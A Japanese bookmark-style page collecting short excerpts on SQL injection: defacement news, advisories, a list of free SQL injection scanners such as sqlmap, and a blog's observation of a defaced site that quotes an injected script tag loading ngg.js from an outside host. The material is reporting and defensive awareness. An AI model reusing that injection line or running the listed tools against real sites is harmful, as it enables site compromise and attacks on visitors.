2008年3月，SQLインジェクションによる大規模なWebサイト改ざん攻撃が話題となった。IBMのセキュリティオペレーションセンター（以下，SOC）では，その後も同様の攻撃を検知し続けている。この間，攻撃の傾向に大きな変化が見られた。また，この攻撃によって改ざんしたWebサイトからユーザーを悪質なサイトに誘い込む攻撃（誘導型攻撃）でも新しい内容が確認された。以下...
無料で使えるSQLインジェクション対策スキャナ トップ１５(ホームページを作る人のネタ帳)フリーの SQLインジェクション スキャナー トップ15(うさぎ文学日記) なにやら、SQLインジェクションをスキャンしてくれるツールがあるようです。 SQLIer Sqlbftools SQL Injection Brute-forcer (.tar.gz) SQLBrute (.py) BobCat sqlmap: a blind SQL injection tool Absinthe :: Automated Blind SQL Injection SQL Injection Pentesting Too...
絨毯爆撃ブラウザという単語を目にしたのはこの記事が最初だった気がする。 このところはてなブックマークへの過度なアクセスがよく見られます。User-Agent などを見ていても特殊な bot などのものではなく、その多くが Internet Explorer や Firefox などの一般のブラウザのそれを名乗っています。 中には、目立たないようにそういった User-Agent を敢えて名乗っているリクエストもあり...
『 SQLInjection 』
英語の“log”は「運行記録」などの意味があり、情報システム管理におけるログは、さまざまなハードウェアやソフトウェアの「運行記録」を刻々と記録したデータである。システム管理者にとって、ログは複雑な存在だ。あるときはトラブルシュートの主役としてピンチを救ってくれる頼もしい相棒だが、日々作成されるログはさながら悪夢をもたらす洪水であり、作成され...
IPA／ISECは、不正アクセスを受けWebサーバが改ざんされた5月の事例を踏まえ、Webアプリケーションについてもセキュリティ対策が必要であると呼びかけた。 情報処理推進機構セキュリティセンター（IPA／ISEC）は6月6日、2005年5月のウイルスおよぶ不正アクセスの届出状況をまとめ、公開した（別記事参照）。 この中でIPA／ISECは、不正侵入報告10件のうち、Webサーバに侵入されてコ...
◆ご注意： 弊社は、いかなる場合もこの情報の使用や配布で生じる直接及び間接を問わず生じる損害について責任を負いません。また本セキュアDBマトリクスに記載されている情報は予告なしに変更されることがあります。許可を得ずに、本セキュアDBマトリクスの転載・配布することを一切禁止いたします。 この文書の内容についてのお問い合わせはこちら（information@lac.co.jp）...
MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。（PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります）この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。 Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディン...
『 Top15freeSQLInjectionScanners-Security-Hacks.com 』
最近、データベースと連動したWebサイトを改竄し、不正に情報を搾取する、いわゆる「SQLインジェクション攻撃」が世界規模で多発している。SQLインジェクション攻撃自体は昔から存在するものだが、その対策方法をきちんと把握している企業は案外少ないのではないだろうか。そこで本稿では、SQLインジェクション攻撃の現状を報告するとともに、企業が講じるべき対策のポイ...
」が東京・大田区産業プラザ（PiO）で開催された。今回のPHPカンファレンスでは、プログラムをテクニカルセッションとビギナーズセッションの2つに分け、エンタープライズにおける大規模運用の裏側から、とにかく動的なWebサイトを作ってみたいという入門編までを幅広く取り扱った。 どのセッションも非常に充実しており、今回のレポートは3回に分けてお届けしようと思...
（DVL）には、セキュアなLinuxディストリビューションであれば備えていては“いけない”あらゆる要素が取りそろえられている。DVLの開発陣は、セキュリティホールの原因となる穴だらけの旧式ソフトウェアを意図的に寄せ集めることで、外部からの攻撃に対して無防備極まるLinuxディストリビューションをわざわざ生み出したのだ。もっともこのディストリビューション、一般ユ...
『 企業向けに構築された詳細な解析技術を有するUrchinと、Googleの広告サービスが有用に活用されているかを確認できるツールが一緒になったサービスとして、個人から中小企業まで幅広く利用されているサービスです。 』
『 日記、Webアプリケーションのセキュリティに関する記事へのリンク集などが参考になる 』
はuserpwdプログラムのソースリストである。Perlで書かれたプログラムで，DBIインタフェース（注１）を使用してMySQL（注２）データベースへアクセスする。 5〜7行目では，コマンドライン引数からユーザ名，現在のパスワード，新しいパスワードをそれぞれ変数$user，$curpwd，$newpwdに受け取る。10行目はDBIインタフェースを使用してデータベースへ接続する（注３）。13〜14行目で受け...
『 データベースの毎週毎月差分圧縮バックアップなどなどのshellscript．要mysqldump 』
『 BLOG（CMS）ツール「Nucleus」の使い方 』
最近よく見かけるシステムで、MySQLに対応した星型レビューボタンの設置方法です。 サンプルデモ ダウンロード方法の英語は以下に。 Star Rater Ajax VersionSo, I found this great star rater script made in css. But I missed the web 2.0 stuff. So i played arround with it so it would work on a database without having to refresh any pages (but updating the database with AJAX). In this version i use it for rating a image (with unique id = imgId). 興味のある...
『 キーワードがあるとセキュリティの指摘もしやすいし理解しやすい。ただ間違った解説・報道があるのは問題。 』
うわさのngg.jsを調べていたらこんな表示のサイトを見かけました。 HTMLソースは以下の通り 宮城県、福島県、山形県、岩手県、秋田県<script src=http://www.XXXXXX.com/ngg.js></script> おそらく、SQLインジェクションによりSCRIPT要素を埋め込まれたものの、XSS対策がとられていたので、JavaScriptの実行はされない状態で表示されているのだと思います。 第5回 クロスサイト...
